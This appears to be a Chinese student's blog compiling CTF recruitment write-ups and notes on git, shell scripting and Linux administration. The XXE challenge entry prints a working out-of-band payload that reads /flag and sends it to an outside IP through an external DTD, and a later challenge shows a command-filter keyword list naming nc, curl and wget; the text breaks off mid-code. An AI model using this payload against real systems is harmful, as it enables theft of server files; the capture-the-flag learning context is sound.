使用 git reset 或 git revert 命令将代码库回溯到该提交版本，并解释你所用命令的区别。

知识：

工作区和暂存区：

工作区：可见的实际存放项目文件的目录

暂存区：一个临时保存文件修改的区域，它是位于 .git 目录中的一个文件（在.git/index），并不是一个实际可视化的文件夹。Git 利用暂存区来管理文件的状态，决定哪些文件的修改会被包含在下一次提交中。

使用 git add 命令后，工作区中已修改的文件会被添加到暂存区，文件进入已暂存状态。暂存区只记录那些即将被提交到版本库的文件修改信息。

git revert:

原理是创建一个新的提交，用来抵消目标提交所做的修改。（对后面的修改不影响，且不修改历史记录）

git reset：

用于将当前分支的 HEAD 指针重置到指定的提交版本，同时可以选择如何处理工作区和暂存区的文件

--hard 模式：将 HEAD 指针、暂存区和工作区都重置到指定提交版本

--soft 模式：仅将 HEAD 指针重置到指定提交版本，暂存区和工作区的内容保持不变

假设你有一串零散的提交（比如修复同一个功能的多次小修改），想把它们合并成一个清晰的大提交，--soft 模式非常合适

刚执行了 git commit，但发现提交信息写错了，或者想补充修改后再提交

--mixed 模式：将 HEAD 指针和暂存区重置到指定提交版本，工作区内容不变。

实操：

# 报错了，用 git status 看原因
[root@localhost learning_log]# git revert 5a31feb5ae61d40b7d6d7eaff991b5c3eeb82892
error: could not revert 5a31feb... 测试暂存与提交
hint: after resolving the conflicts, mark the corrected paths
hint: with 'git add <paths>' or 'git rm <paths>'
hint: and commit the result with 'git commit'

[root@localhost learning_log]# git status
# On branch main --> 所在分支、状态
# Your branch is ahead of 'origin/main' by 1 commit.
#   (use "git push" to publish your local commits)
#
# You are currently reverting commit 5a31feb.  --> 正在进行的操作
#   (fix conflicts and run "git revert --continue")
#   (use "git revert --abort" to cancel the revert operation)
#
# Unmerged paths:  --> 报错的地方，5a31feb 中创建了 hello.txt,这里需要手动删除才可以
#   (use "git reset HEAD <file>..." to unstage)
#   (use "git add/rm <file>..." as appropriate to mark resolution)
#
#       deleted by them:    hello.txt
# 手动删除
[root@localhost learning_log]# git rm hello.txt
hello.txt: needs merge
[root@localhost learning_log]# git revert --continue
[main 49e231f] Revert "测试暂存与提交"
 1 file changed, 2 deletions(-)
 delete mode 100644 hello.txt
 [root@localhost learning_log]# git push
 ......

远程仓库进阶

目标：管理多个远程仓库，并实现不同仓库间的同步。
挑战：
- 为你的本地仓库添加第二个远程仓库（例如，一个 GitHub 仓库和一个 Gitee 仓库）。
- 将你的本地分支推送到这两个不同的远程仓库。

# 查看并添加远程仓库
[root@localhost learning_log]# git remote -v
origin  https://github.com/calendar0917/learning_log.git (fetch)
origin  https://github.com/calendar0917/learning_log.git (push)
[root@localhost learning_log]# git remote add gitee https://gitee.com/calendar917/learning_log.git
[root@localhost learning_log]# git remote -v
gitee   https://gitee.com/calendar917/learning_log.git (fetch)
gitee   https://gitee.com/calendar917/learning_log.git (push)
origin  https://github.com/calendar0917/learning_log.git (fetch)
origin  https://github.com/calendar0917/learning_log.git (push)


# push 到gitee上
[root@localhost learning_log]# git push gitee main
Username for 'https://gitee.com': calendar917
Password for 'https://calendar917@gitee.com':
Counting objects: 10, done.
......
To https://gitee.com/calendar917/learning_log.git
 * [new branch]      main -> main

标签使用

git restore（Git 2.23+ 新增）

核心作用：恢复工作区或暂存区（index）的文件内容，不影响提交历史。可以理解为 “撤销对文件的修改”，直接操作文件内容，而非提交记录。

保存一步： git add . git commit -m "描述"

恢复任意状态： git log --oneline 找编号 git restore --source=编号 . git add .

打标签： git tag 标签名提交号

恢复标签： git restore --source=标签名 .

删标签： git tag -d 标签名

御林招新题：shell 入门

Sat, 18 Oct 2025 00:00:00 +0000

重定向与管道

了解标准输入、标准输出、标准错误的概念。

标准输入（Standard Input，stdin）：默认是键盘，是程序获取输入数据的地方。例如，cat命令如果没有指定文件，就会从标准输入读取内容，此时你可以在键盘上输入文字，输入结束后按Ctrl + D（类 Unix 系统）表示输入结束，cat会将输入的内容输出。

标准输出（Standard Output，stdout）：默认是终端屏幕，是程序输出正常结果的地方。比如执行ls命令，会在终端显示当前目录下的文件和文件夹列表。

标准错误（Standard Error，stderr）：默认也是终端屏幕，用于输出程序的错误信息。例如，执行ls /nonexistent（假设/nonexistent是不存在的目录），会在终端显示类似ls: cannot access '/nonexistent': No such file or directory的错误信息，这就是标准错误输出。

使用 > 和 >> 操作符将命令的输出重定向到文件。

>操作符：用于将命令的标准输出重定向到文件，如果文件已存在，会覆盖文件原有内容；如果文件不存在，会创建新文件。

>>操作符：用于将命令的标准输出以追加的方式重定向到文件，即把输出内容添加到文件原有内容的末尾，不会覆盖原有内容。

使用 2> 或 2>> 操作符将标准错误重定向到文件。

[root@localhost hello]# ls /invalid 2> error.txt
[root@localhost hello]# ls /invalid_2 2>> error.txt
[root@localhost hello]# cat error.txt
ls: cannot access /invalid: No such file or directory
ls: cannot access /invalid_2: No such file or directory

使用 | 管道操作符将一个命令的输出作为另一个命令的输入。

1
2
3

[root@localhost hello]# ls | grep 'txt'
digit_count.txt
error.txt

变量与引号

学习如何在 Shell 中定义、引用和取消定义变量。

定义变量：基本语法是：变量名=值，等号两边不能有空格。

引用变量：使用 $变量名 或者 ${变量名} 的形式。

取消定义变量

使用 unset 命令可以取消定义变量，语法为：unset 变量名。

理解单引号 (')、双引号 (") 和反引号 (``) 的区别与作用。

单引号（'）：用于包裹字符串，单引号内的所有内容都被视为普通字符，不会进行变量替换、命令替换等操作。

**双引号（"）：**双引号内会进行变量替换和命令替换（需要结合$()或反引号）

**反引号（`）**：反引号主要用于命令替换，即执行反引号内的命令，并将命令的输出作为结果返回。不过现在更推荐使用$()`来进行命令替换，因为它的可读性更好，而且可以嵌套使用（反引号嵌套使用比较复杂）。

参数与条件判断

了解如何获取命令行参数（例如 $1, $2, $#）。

$1、$2、$3……：分别表示第 1 个、第 2 个、第 3 个…… 命令行参数。

$#：表示命令行参数的个数。

$0：表示脚本本身的名称。

$\*：把所有的命令行参数当作一个整体的字符串

$@：把每个命令行参数当作独立的字符串

掌握基本的条件判断语句（if 语句）。

if [条件1]; then
    # 条件1为真时执行的命令
elif [条件2]; then
    # 条件2为真时执行的命令
else
    # 所有条件都为假时执行的命令
fi

使用 test 或 [] 进行文件、字符串或数字的比较。

test 命令和 []（方括号）在 Shell 中用于进行条件测试，可以对文件、字符串、数字等进行比较。[] 是 test 命令的另一种写法，使用起来更简洁。

文件：

-e 存在、-f 普通文件、-d 目录、-r 可读、-w 可写、-x 可执行

字符串：

= 相等、！=不等、-z 长度是否为0、-n 长度是否不为零

数字：

-eq 相等、-ne 不相等、-gt 大于、-ge 大于等于、-lt 小于、-le 小于等于

循环

学习 for 循环和 while 循环的基本用法。

for 变量 in 元素1 元素2 元素3 ...; do
    # 循环体，对每个元素执行的操作
done

for 变量 in {起始值..结束值}; do
    # 循环体
done

1
2
3

while 条件; do
    # 循环体，条件为真时执行的操作
done

能够编写简单的循环脚本来处理文件列表或执行重复任务。

编写一个 Shell 脚本，实现以下功能：

参数检查：
- 检查脚本是否接收到至少一个命令行参数。如果没有，打印使用说明（例如：Usage: ./file_processor.sh <directory>）并退出。
目录遍历：

脚本接收一个目录路径作为参数。进入该目录后，使用 for 循环遍历目录下的所有文件。

文件处理：
- 对于遍历到的每一个文件，进行以下判断：
- 如果文件是普通文件（非目录），则将该文件的文件名（不包含路径）打印到标准输出。
- 如果文件是可执行文件，则在文件名后面追加 (Executable) 字样。
结果输出：
- 将所有被处理的文件的输出结果（包含可执行标记）重定向到一个名为 processed_files.txt 的新文件中。
- 最后，打印一句话，提示用户处理已完成，并说明结果已保存在 processed_files.txt 中。

#!/bin/bash

# 判断是否未传入任何参数
if [ -z "$*" ]; then
    echo 'Usage： ./file_processor.sh <directory>'
    echo '是不是没有写文件路径？'
# 判断传入的参数是否为目录
elif [ -d "$1" ]; then
    # 遍历目录下的所有文件
    for file in "$1"/*; do
        # 判断是否为普通文件
        if [ -f "$file" ]; then
            echo -n "$file"
            echo -n "$file" >> processed_files.txt
            # 判断文件是否可执行
            if [ -x "$file" ]; then
                echo -n 'Executable'
                echo -n 'Executable' >> processed_files.txt
            fi
        fi
        echo '' # 美化的作用
    done
    echo '批处理已完成，结果已保存在 processed_files.txt 中'
    echo '-----------------'
else
    echo '是不是文件夹路径输错了？'
fi

写错的点：

[ -z $* ]，要先写 -<...>

$file 忘记改单引号为双引号了

$1 只是目录路径，"$1"/* 才是目录下所有文件

echo 默认带换行，添加 -n 参数取消

结果如下图：

又发现 .txt 中没有换行，得添加一下手动换行

御林招新题：Linux 进阶

Fri, 17 Oct 2025 00:00:00 +0000

小结

ps 命令查看进程
- losf、netstat 查看端口进程号
- kill 终结进程
Linux 文件结构
grep + 正则 + 管道查找指定内容
- wc 统计字符
自动化脚本 .sh
- systemctl 控制 service 终止
内核模块
- lsmod 列出
- modprobe 控制
btrfs 控制磁盘、分卷
- mount 挂载
- snapshot 创建快照、回滚
journalctl 查看、删除日志文件
sysctl 查看、修改内核参数
- 控制 TCP 最大连接数：net.core.somaxconn & net.ipv4.tcp_max_syn_backlog

系统与进程管理

特殊进程：描述进程号为 1 的特殊进程是什么，以及它在系统中的作用。

进程号为 1 的特殊进程在类 Unix 系统（如 Linux）中通常是init进程

作用：它是系统启动后创建的第一个用户空间进程，是所有其他进程的祖先进程。负责系统初始化，比如启动各种服务、设置运行级别等，系统关闭时也由它来完成相关收尾工作，确保系统各部分有序启动和停止。

由 0 进程创建，内核启动 -> init启动 -> 启动其他进程

进程状态：使用 ps 命令查看所有活跃进程，并分析其父子关系。

[root@localhost ~]# ps -A -f
UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 23:25 ?        00:00:03 /usr/lib/systemd/systemd --switched-root --syste
root          2      0  0 23:25 ?        00:00:00 [kthreadd]
root          4      2  0 23:25 ?        00:00:00 [kworker/0:0H]

PID：进程 ID

PPID：进程的父 PID

端口占用：当某个程序无法启动并提示端口已被占用时，如何通过命令行找出占用该端口的进程号（PID）并终止它。

查看端口进程：

lsof（List Open Files ）

netstat（Network Statistics）

netstat | grep PID

-t：显示 TCP 协议的连接 / 端口（Transmission Control Protocol，传输控制协议）。

-u：显示 UDP 协议的连接 / 端口（User Datagram Protocol，用户数据报协议）。

-l：仅显示 处于监听状态 的端口（即等待外部连接的端口，而非已建立的连接）。

-p：显示 占用端口的进程信息（包括进程 ID 和进程名），需要 root 权限才能完整显示。

-n：以 数字形式 显示 IP 地址和端口号（而非域名或服务名，例如直接显示 127.0.0.1:8080 而非 localhost:http-alt）。

终止：

kill -pid PID 强制终止进程

网络与文件系统

文件系统结构：描述 Linux 文件系统（例如 ext4）的基本目录结构和作用，并解释根目录 / 和 /home 的区别。

基本目录结构：树形

/（根目录）：最顶层目录，所有其他目录和文件都从这里开始分支，包含了系统运行所需的所有核心文件和目录，一般情况下普通用户只能读取

/home：是普通用户的主目录集合，每个普通用户在系统中都有一个以自己用户名命名的子目录（如用户 user1 的主目录是 /home/user1）。用户在自己的主目录下有完全的操作权限，可以存储个人文件、配置个人环境等，不会影响系统的核心部分。

/bin：存放系统的基本命令，这些命令是二进制可执行文件，普通用户和超级用户都可以执行，用于完成基本的系统操作，如 ls（列出目录内容）、cp（复制文件）等。

/sbin：存放系统管理命令，通常只有超级用户（root）才能执行，用于系统管理和维护，如 ifconfig（配置网络接口）、shutdown（关闭系统）等。

/etc：存放系统的配置文件，包括系统服务配置、用户配置、网络配置等，如 passwd（用户账户信息）、fstab（文件系统挂载配置）等。

/dev：存放设备文件，Linux 把所有的硬件设备都抽象为文件，通过这些文件可以访问和控制硬件设备，如 sda（第一块硬盘）、tty1（第一个终端）等。

/proc：是一个虚拟文件系统，它不占用实际的磁盘空间，而是反映系统当前的运行状态，包含了进程信息、内存使用情况等，如 /proc/cpuinfo（CPU 信息）、/proc/meminfo（内存信息）等。

/usr：存放用户安装的应用程序和文件，类似于 Windows 系统中的 “Program Files” 目录，包含了大量的应用程序、库文件、文档等。

/var：存放经常变化的文件，如日志文件（/var/log）、邮件（/var/mail）、打印队列（/var/spool）等。

/tmp：存放临时文件，系统重启后这里的文件会被清除，用于程序运行时临时存储数据。

GRUB：什么是 GRUB？它在 Linux 系统启动中扮演了什么角色？

Grand Unified Bootloader 统一引导加载程序

系统启动引导：计算机开机后，首先由 BIOS（基本输入输出系统）或 UEFI（统一可扩展固件接口）进行硬件检测和初始化，然后会将引导加载程序（GRUB）加载到内存中运行。GRUB 负责加载 Linux 内核，并将系统控制权转交给内核，从而启动 Linux 系统。

多系统引导：如果计算机上安装了多个操作系统（如同时安装了 Linux 和 Windows），GRUB 可以提供一个启动菜单，让用户选择要启动的操作系统。

内核参数设置：在系统启动时，用户可以通过 GRUB 的启动菜单，临时修改内核的启动参数，这对于系统调试、故障排除（如单用户模式启动）等非常有用。

文件内容处理

查找模式：使用 grep 命令在 /etc/passwd 文件中，找出所有以 t 开头的文本行。

1
2
3

[root@localhost ~]# grep '^t' /etc/passwd
tss:x:59:59:Account used ......
tcpdump:x:72:72::/:/sbin/nologin

管道与重定向：使用管道和重定向，将 /etc/passwd 文件中所有包含数字的行数统计出来，并重定向到一个名为 digit_count.txt 的文件中。

1
2
3

[root@localhost ~]# grep -E [0-9] /etc/passwd | wc -l > hello/digit_count.txt

// 统计结果：44

高级系统管理

systemd：

编写一个简单的 systemd service 文件，让一个简单的脚本（例如，一个每分钟向 /tmp/test_log.txt 文件写入当前时间的脚本）开机自启动。

//time.sh
#!/bin/bash
while true; do
    echo "当前时间: $(date)" >> /tmp/test_log.txt
    sleep 60
done

//service
[Unit]
Description=定时写入时间到日志的服务

[Service]
ExecStart=/home/your_username/time_script.sh
Restart=always

[Install]
WantedBy=multi-user.target

[root@localhost ~]# sudo systemctl enable time-logger.service
Created symlink from /etc/systemd/system/multi-user.target.wants/time-logger.service to /etc/syste          md/system/time-logger.service.

[root@localhost ~]# systemctl start time-logger.service

[root@localhost ~]# systemctl status time-logger.service
● time-logger.service - 定时写入时间到日志的服务
   Loaded: loaded (/etc/systemd/system/time-logger.service; enabled; vendor preset: disabled)
   Active: active (running) since Fri 2025-10-17 00:48:53 PDT; 2s ago
 Main PID: 29493 (time_script.sh)
    Tasks: 2
   Memory: 304.0K
   CGroup: /system.slice/time-logger.service
           ├─29493 /bin/bash /root/time_script.sh
           └─29497 sleep 60

[root@localhost ~]# cat /tmp/test_log.txt
当前时间: Fri Oct 17 00:48:53 PDT 2025

使用 systemctl 命令启用和启动你的服务，并验证它是否正常工作。

内核模块：

列出系统中所有已加载的内核模块。

[root@localhost ~]# lsmod
Module                  Size  Used by
nf_conntrack_netlink    36396  0
xt_addrtype            12676  2
.....

尝试加载一个你了解的内核模块（例如，一个虚拟网络设备模块），然后卸载它，并验证其状态。

[root@localhost ~]# modprobe dummy
[root@localhost ~]# lsmod | grep dummy
dummy                  12960  0
[root@localhost ~]# modprobe -r dummy
[root@localhost ~]# lsmod | grep dummy
[root@localhost ~]#

什么是 dummy？

在 Linux 系统中，dummy模块是一种虚拟网络设备模块，主要有以下特点和用途：

虚拟网络接口创建：加载dummy模块后，通过系统命令可以创建出像 dummy0、dummy1 这样的虚拟网络接口。这些接口和真实的物理网络接口类似，可以配置 IP 地址、子网掩码等网络参数，也能参与网络数据包的收发模拟。

网络测试与实验：在进行网络相关的测试，比如路由策略测试、防火墙规则测试时，使用dummy虚拟网络接口非常方便。不需要依赖实际的物理网络设备，就可以构建复杂的网络拓扑结构，模拟各种网络环境。

服务绑定与隔离：某些应用场景下，需要将特定的网络服务绑定到指定的网络接口上，使用dummy接口可以实现灵活的绑定和隔离。比如，希望某个服务只在特定的 “网络通道” 上提供服务，就可以将该服务绑定到dummy接口上，便于管理和安全控制。

现代文件系统

Btrfs/ZFS 文件系统实践：

创建文件系统与子卷：

假设你有一个未使用的磁盘分区 /dev/sdb1。
格式化该分区为 Btrfs 或 ZFS 文件系统。
挂载该文件系统到一个新的目录，例如 /mnt/data。
在 /mnt/data 下创建两个子卷，一个名为 web_data，另一个名为 database。

由于没有磁盘分区，故用虚拟磁盘代替
[root@localhost ~]# dd if=/dev/zero of=~/virtual_disk.img bs=1G count=1
// 创建 1G * 1 的虚拟磁盘
[root@localhost ~]# losetup -f ~/virtual_disk.img
[root@localhost ~]# losetup -a | grep virtual_disk.img
/dev/loop0: [2051]:67154732 (/root/virtual_disk.img)
// 自动映射,格式化
[root@localhost ~]# mkfs.btrfs /dev/loop0 
btrfs-progs v4.9.1
See http://btrfs.wiki.kernel.org for more information.

Performing full device TRIM /dev/loop0 (1.00GiB) ...
......
// 创建映射文件系统新目录并挂载
[root@localhost ~]# mkdir /mnt/data
[root@localhost ~]# mount /dev/loop0 /mnt/data

// 创建两个子卷
[root@localhost ~]# btrfs subvolume create /mnt/data/web_data
Create subvolume '/mnt/data/web_data'
[root@localhost ~]# btrfs subvolume create /mnt/data/database
Create subvolume '/mnt/data/database'
[root@localhost ~]# btrfs subvolume list /mnt/data
ID 256 gen 7 top level 5 path web_data
ID 257 gen 8 top level 5 path database

快照与回滚：

在 web_data 子卷中创建一个测试文件 hello.txt。
为 web_data 子卷创建一个只读快照，命名为 snapshot_v1。
修改 web_data 子卷中的 hello.txt 文件内容。
验证 snapshot_v1 中的文件内容是否保持不变。
回滚 web_data 子卷到 snapshot_v1 的状态，并验证 hello.txt 的内容是否恢复到修改前。

// 创建文件
[root@localhost ~]# echo 'helloworld 111' > /mnt/data/web_data/hello.txt
// 创建只读快照
[root@localhost ~]# btrfs subvolume snapshot -r /mnt/data/web_data /mnt/data/snapshot_v1
Create a readonly snapshot of '/mnt/data/web_data' in '/mnt/data/snapshot_v1'
// 修改文件
[root@localhost ~]# echo 'helloworld 222' > /mnt/data/web_data/hello.txt
//读快照，并未改变
[root@localhost ~]# cat /mnt/data/snapshot_v1/hello.txt
helloworld 111
// 删除源文件，快照恢复
[root@localhost ~]# btrfs subvolume delete /mnt/data/web_data
Delete subvolume (no-commit): '/mnt/data/web_data'
[root@localhost ~]# btrfs subvolume snapshot /mnt/data/snapshot_v1/ /mnt/data/web_data
Create a snapshot of '/mnt/data/snapshot_v1/' in '/mnt/data/web_data'
[root@localhost ~]# cat /mnt/data/web_data/hello.txt
helloworld 111

系统优化与维护

缓存与日志管理：

使用 journalctl 命令查看过去 10 分钟内系统日志中所有包含“error”或“fail”关键字的条目。
通过命令行安全地清除超过 7 天的系统日志文件，以释放磁盘空间。

[root@localhost ~]# journalctl --since "100 minute ago" | grep -E "error|fail"
Oct 17 00:46:03 localhost.localdomain systemd[1]: Unit time-logger.service entered failed state.
Oct 17 00:46:03 localhost.localdomain systemd[1]: time-logger.service failed.
......

[root@localhost ~]# journalctl --vacuum-time=7d
Vacuuming done, freed 0B of archived journals on disk.

内核参数调整：

查看当前系统中的 TCP 最大连接数限制参数。
临时修改该参数，将最大连接数限制提高到 50000。
使用 sysctl -a 命令验证修改是否生效。

[root@localhost ~]# sysctl net.core.somaxconn net.ipv4.tcp_max_syn_backlog
net.core.somaxconn = 128
net.ipv4.tcp_max_syn_backlog = 256
[root@localhost ~]# sysctl -w net.core.somaxconn=50000
net.core.somaxconn = 50000

[root@localhost ~]# sysctl -a | grep -E "50000"
......
net.core.somaxconn = 50000
......

解释此项修改对一个高并发 Web 服务器可能带来的影响。

提高 TCP 最大连接数限制（如 net.core.somaxconn 和 net.ipv4.tcp_max_syn_backlog），对高并发 Web 服务器有以下影响：

优化：

能够处理更多的并发 TCP 连接请求，减少因连接队列满而导致的连接建立失败情况，提升 Web 服务器的并发处理能力，让更多客户端能成功与服务器建立连接并请求资源。

问题：

会增加服务器的内存等资源消耗，因为每个连接都需要一定的内存来维护连接状态等信息。如果服务器内存等资源不足，过度提高连接数限制可能导致系统内存紧张，甚至出现内存溢出等问题，反而影响服务器的稳定运行。

御林招新题：DevOps-Linux入门

Thu, 16 Oct 2025 00:00:00 +0000

获得一个Linux操作系统

服务器 + 云服务器均尝试，已完成。

命令基础

登录Linux系统，更改自己的用户口令

[root@localhost ~]# passwd
Changing password for user root.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.

执行常用的Linux命令

[root@localhost ~]# ls
anaconda-ks.cfg  original-ks.cfg
[root@localhost ~]# mkdir hello
[root@localhost ~]# cd ..
...

使用 man 命令，来查找特定命令的帮助信息。
- man ls

文件与目录

1
2
3

[root@localhost /]# pwd
/
[root@localhost /]# cd home

使用 ls 命令的不同选项来查看文件与目录的属性。

[root@localhost /]# ls -l
total 24
lrwxrwxrwx.   1 root root    7 Sep 28 08:05 bin -> usr/bin
dr-xr-xr-x.   5 root root 4096 Sep 28 16:34 boot
drwxr-xr-x.  19 root root 3260 Oct 16 03:17 dev
......
[root@localhost /]# ls -lh
total 24K
lrwxrwxrwx.   1 root root    7 Sep 28 08:05 bin -> usr/bin
dr-xr-xr-x.   5 root root 4.0K Sep 28 16:34 boot
drwxr-xr-x.  19 root root 3.2K Oct 16 03:17 dev
......
[root@localhost /]# ls -t
root  etc  tmp  run  dev  sys  proc  opt  boot ...
[root@localhost /]# ls -a
.   bin   dev  home  lib64  mnt  proc  run   srv  tmp  var
..  boot  etc  lib   media  opt  root  sbin  sys  usr

1
2

[root@localhost /]# mkdir test
[root@localhost /]# rmdir test

创建零长度的文件。
- touch test.txt
拷贝、移动、重命名、链接及删除文件。

[root@localhost /]# mkdir test
[root@localhost /]# rmdir test
[root@localhost /]# touch test.txt
[root@localhost /]# cp test.txt test_cp.txt
[root@localhost /]# mv test.txt text_rename.txt
[root@localhost /]# ln test_cp.txt test_cp_hardlink.txt
[root@localhost /]# ln -s test_cp
test_cp_hardlink.txt  test_cp.txt
[root@localhost /]# ln -s test_rename_softlink.txt
[root@localhost /]# rm test*
rm: remove regular empty file ‘test_cp_hardlink.txt’? y
rm: remove regular empty file ‘test_cp.txt’? y
rm: remove symbolic link ‘test_rename_softlink.txt’? y

软链接：适合需要跨分区或对目录建立快捷方式的场景。

硬链接：适合在同一分区内共享文件内容且不希望因删除源文件而失效的场景。

查看文件内容。

1
2

[root@localhost /]# cat bin
cat: bin: Is a directory

修改文件和目录权限

[root@localhost test]# mkdir test1
[root@localhost test]# touch test.txt
[root@localhost test]# echo "hello" >> test.txt
[root@localhost test]# ls -l
total 4
drwxr-xr-x. 2 root root 6 Oct 16 03:43 test1
-rw-r--r--. 1 root root 6 Oct 16 03:44 test.txt

-rw-r--r-- ,共 10 个字符：

第 1 位：文件类型（- 普通文件，d 目录，l 链接）

第 2-4 位：所有者（User）权限

第 5-7 位：所属组（Group）权限

第 8-10 位：其他用户（Others）权限

权限字符：

r (Read)：读取权限（4）

w (Write)：写入权限（2）

x (Execute)：执行权限（1）

-：无对应权限（0）

格式：chmod [用户][操作][权限] 文件名

用户：u(所有者)、g(所属组)、o(其他)、a(所有)

操作：+(添加)、-(移除)、=(设置)

[root@localhost test]# ls -l
total 4
drwxr-xr-x. 2 root root 6 Oct 16 03:43 test1
-r--r--r--. 1 root root 6 Oct 16 03:44 test.txt

vi 编辑器

创建一个文件。vi filename
保存并退出一个文件及不保存退出一个文件。

命令模式下，:wq 保存退出，:q! 直接退出

在文本中使用不同的键进行光标的移动。

上下左右：kjhl

单词：w 移动到下一个单词开头；b 移动到上一个单词开头

行首 ^，行尾 $

文首 gg ,文尾 G

在一个文件中加入、删除与修改文本。

新增

光标前：i 行首I

光标后：a 行尾A

下一行：o 上一行O

删除

所在字符：nx

所在行：ndd

到行首 d^ 到行尾 d$

修改

当前字符：r

到行尾：R

设定选项以自定义编辑环境。

:set number 设置行号

调用命令行编辑功能。

:!command 执行

替换：:%s/old/new/g（old 为要替换的旧内容，new 为新内容，% 表示整个文件，g 表示全局替换）

查找：/pattern，n下一个，N上一个

文件操作进阶

通配符应用：在 /usr/bin 目录下，使用通配符查找所有以字母 a 开头的文件名，并仅列出文件名。

[root@localhost bin]# ls a*
a2p                                  abrt-merge-pstoreoops            appstream-compose
abrt-action-analyze-backtrace        abrt-retrace-client              appstream-util
...

查找文件：在 /tmp 目录中找到所有文件名。

1
2

[root@localhost bin]# find /tmp -type f -printf "%f\n"
.X0-lock

文件内容排序：将 /etc/passwd 文件中的内容按字母顺序和逆序分别显示。

[root@localhost tmp]# sort /etc/passwd
abrt:x:173:173::/etc/abrt:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
...
[root@localhost tmp]# sort -r /etc/passwd
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
unbound:x:991:986:Unbound DNS resolver:/etc/unbound:/sbin/nologin
...

头部和尾部显示：显示 /etc/passwd 文件的前5行和后10行的内容。


[root@localhost tmp]# head -n 5 /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[root@localhost tmp]# tail -n 10 /etc/passwd
......

文件权限进阶

软链接与硬链接：在你的用户主目录下，为 /usr/bin/cat 文件分别创建软链接和硬链接，并解释两者的区别。

见上

权限恢复：如何将某个目录的权限恢复到默认的 rwxr-xr-x 形式？请使用两种不同的 chmod 语法来实现。

1
2

[root@localhost test]# chmod u=rwx,g=rx,o=rx test1
[root@localhost test]# chmod 755 test1

r-4 ; w-2 ; x-1

vi 编辑器进阶

复制与粘贴：在 vi 中，一次性将一段文本（例如三行）复制到文件的末尾。

命令行 nyy 复制n行

命令行 p 粘贴

撤销与重做：掌握在 vi 中撤销（undo）和重做（redo）操作的方法。

撤销：u

重做：ctrl+r

御林招新题：雪王生擒明珠塔

Wed, 15 Oct 2025 00:00:00 +0000

题干

<div class="container">
<header>
<h1><img src="..." alt="雪王Logo" class="logo">雪王生擒明珠塔</h1>
<p class="mission">帮助雪王，向东方明珠塔的护盾发送特殊信号，找到藏在塔内的旗帜/flag。</p>
</header>
<main>
<div class="input-area">
<label for="payloadInput” class="input-label">在此进行你的攻击：</label>
<textarea id="payloadInput" rows="12" placeholder="Enter your payload here..."></textarea>
</div>
<button onclick="submitProposal()" class="attack-button">发起总攻</button>
<div id="response-message” class="response-area">等待指令...</div>
</main>
<footer>
<p>雪王安全实验室 &copy；2025</p>
</footer>
</div>

在输入框中攻击？

尝试

抓包如图：

了解到可能是 xxe 漏洞

XML 的知识

基本结构：

<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD，这部分可选的-->          
<!DOCTYPE foo [ 
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>

<!--文档元素-->                                                           <foo>&xxe;</foo>

DTD

外部（.dtd 文件）和内部 DTD

声明方式如下：

内部实体

<!DOCTYPE note [
    <!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->

参数实体

<!DOCTYPE note> [
    <!ENTITY % b "<!ENTITY b1 "awsl">">
    %b;
]>
<note>&b1</note>

外部实体

<!DOCTYPE note> [
    <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>

支持http，file等协议，不同的语言支持的协议不同

外部参数实体

<!DOCTYPE note> [
    <!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">
    %d;
]>
<note>&d1</note>

1
2

<!-- http://47.106.143.26/xml.dtd -->
<!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">

继续题目

尝试直接引入外部实体：

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ 
<!ENTITY rabbit SYSTEM "file:///flag" >
]>
<user><username>&rabbit;</username></user>

响应：

为什么不行？

尝试引入服务器外部实体、外带：

payload：

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://8.137.145.223/evil.dtd">
    %myurl;
]>

evil.dtd：

1
2
3

<!ENTITY % wrapper "<!ENTITY &#x25; send SYSTEM 'http://8.137.145.223/?x=%file;'>">
%wrapper;
%send;

python3 -m http.server 8000

测试外网可以正常访问，改包重发：

还是不行，为什么？

解决

最后发现问题在于，默认访问的是 80 端口！！！而启动服务器的时候启动了 8000……

服务器：

bp:

终于！！

一些启示

先搜集信息定方向，然后具体学习相关知识
总是有一些奇怪的错误，定位到知识上去解决，不要乱试

御林招新题：ipv4

Tue, 14 Oct 2025 00:00:00 +0000

题干

附件：

docker-compose.yml

version: '3.8'

services:
  ipv4-challenge-challenge:
    build: .
    ports:
      - "5000:5000"
    volumes:
      - ./server.py:/app/server.py
    environment:
      - PYTHONUNBUFFERED=1
    restart: always

networks:
  default:
    driver: bridge

dockerfile

FROM python:3.9-alpine

RUN apk add --no-cache bash procps

RUN rm -f /bin/cat /bin/ls /usr/bin/cat /usr/bin/ls /usr/bin/nc /usr/bin/curl /usr/bin/wget /usr/bin/id /usr/bin/whoami

WORKDIR /app

COPY server.py .
COPY templates ./templates  
COPY flag.txt /flag

RUN pip install Flask

EXPOSE 5000

CMD ["python", "server.py"]

server.py:

app = Flask(__name__, template_folder='templates')
app.config['SECRET_KEY'] = 'xxxxxxx'

USERS = {}

def waf_filter(data):
    malicious_keywords = [
        'cat', 'ls', 'id', 'whoami', 'pwd', 
        'nc', 'curl', 'wget', '`', '&', '||', '&&'
    ]
    for keyword in malicious_keywords:
        if keyword in data:
            return True
    return False
# 登录逻辑
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        user_info = USERS.get(username)

        if user_info and user_info['password'] == password:
            user_data = {"username": username, "is_admin": user_info['is_admin']}
            session['user'] = base64.b64encode(json.dumps(user_data).encode('utf-8')).decode('utf-8')
            return redirect(url_for('user_home'))
        
